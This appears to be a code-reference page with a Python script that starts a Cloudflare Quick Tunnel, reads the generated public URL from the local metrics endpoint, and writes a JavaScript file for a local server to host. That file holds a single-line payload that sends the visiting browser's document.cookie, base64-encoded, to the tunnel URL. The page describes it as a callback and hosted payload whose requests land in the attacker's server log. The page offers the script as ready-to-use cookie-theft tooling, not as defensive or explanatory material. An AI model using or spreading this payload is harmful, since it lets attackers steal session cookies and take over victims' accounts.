Cloudflared
Cloudflare Quick Tunnel — start and retrieve public URL
A Cloudflare Quick Tunnel creates a random public trycloudflare.com URL and forwards its HTTP traffic to a local server. --url sets the local server address, while --metrics starts a local metrics endpoint containing the generated public hostname.
import argparse
import atexit
import os
import requests
import subprocess
import sys
import time
from colorama import Fore
from pathlib import Path
cloudflared_metrics_url = "http://127.0.0.1:49312/metrics"
parser = argparse.ArgumentParser(
description="Cloudflare Quick Tunnel.",
epilog=f"Example: {sys.argv[0]} -p 8000")
parser.add_argument("-p", "--port", required=True, type=str, help="Port to listen on for the HTTP server.")
args = parser.parse_args()
PORT = args.port.strip()
def start_cloudflared_http_tunnel(s):
print(f"{Fore.CYAN}Starting Cloudflare Quick Tunnel")
try:
cloudflared_command = f"exec cloudflared tunnel --url http://127.0.0.1:{PORT} --metrics 127.0.0.1:49312"
cloudflared_process = subprocess.Popen(cloudflared_command, stdout=subprocess.DEVNULL, stderr=subprocess.PIPE, text=True, shell=True)
atexit.register(cloudflared_process.terminate)
time.sleep(1)
if cloudflared_process.poll() is not None:
cloudflared_error = cloudflared_process.stderr.read()
print(f"[-] {Fore.RED}Cloudflare tunnel failed:\n{cloudflared_error}")
sys.exit(1)
except Exception as e:
print(f"[-] {Fore.RED}Could not start Cloudflare Quick Tunnel: {e}")
sys.exit(1)
for seconds_remaining in range(10, 0, -1):
print(f"\r{Fore.CYAN}Waiting for Cloudflare: {seconds_remaining}s", end="", flush=True)
time.sleep(1)
print()
r = s.get(url=cloudflared_metrics_url, verify=False, timeout=10)
metrics_lines = r.text.split("\n")
for line in metrics_lines:
if line.startswith("cloudflared_tunnel_user_hostnames_counts{"):
cloudflare_url = line.split('"')[1]
print(f"[+] {Fore.LIGHTGREEN_EX}Cloudflare tunnel obtained: {cloudflare_url}")
cloudflared_details = cloudflared_process, cloudflare_url
return cloudflared_details
print(f"[-] {Fore.RED}Could not obtain Cloudflare public URL")
sys.exit(1)PORT is read once from the required -p/--port argument and used as the local HTTP origin exposed by the tunnel.
Popen() returns before cloudflared finishes establishing the tunnel. The fixed wait gives the process time to register the public hostname before the metrics request is sent.
poll() detects startup failures that occur inside the child process after Popen() returns. The error written by cloudflared is then read from stderr.
The shell builtin exec replaces the intermediate shell with cloudflared, so the returned process handle controls the tunnel process. atexit.register() terminates that process when the Python interpreter exits.
The cloudflared_tunnel_user_hostnames_counts metric contains the complete public URL. Keeping the https:// prefix produces a URL ready for callback and hosted-payload paths.
Write a JavaScript callback file
The returned cloudflare_url can be inserted into a JavaScript callback and written beneath the directory served by the local HTTP server.
def write_local_js_file(cloudflare_url):
js_payload = f"fetch('{cloudflare_url}/?cookie=' + encodeURIComponent(btoa(document.cookie)))"
directory_path = Path("static")
if not directory_path.exists():
os.mkdir("static")
with open("static/application.js", "w") as f:
f.write(js_payload)
print(f"[+] {Fore.LIGHTGREEN_EX}JavaScript payload written to static/application.js")
if __name__ == "__main__":
s = requests.Session()
cloudflared_process, cloudflare_url = start_cloudflared_http_tunnel(s)
write_local_js_file(cloudflare_url)The local HTTP server exposes the file at /static/application.js. Requests made by the hosted JavaScript return through the Cloudflare tunnel and reach the local server’s request log.
Find by: cloudflared, cloudflare quick tunnel, trycloudflare, public url, http tunnel, expose local server, subprocess, metrics endpoint, tunnel hostname, callback server, tunnel cleanup, argparse port, write javascript payload, cookie callback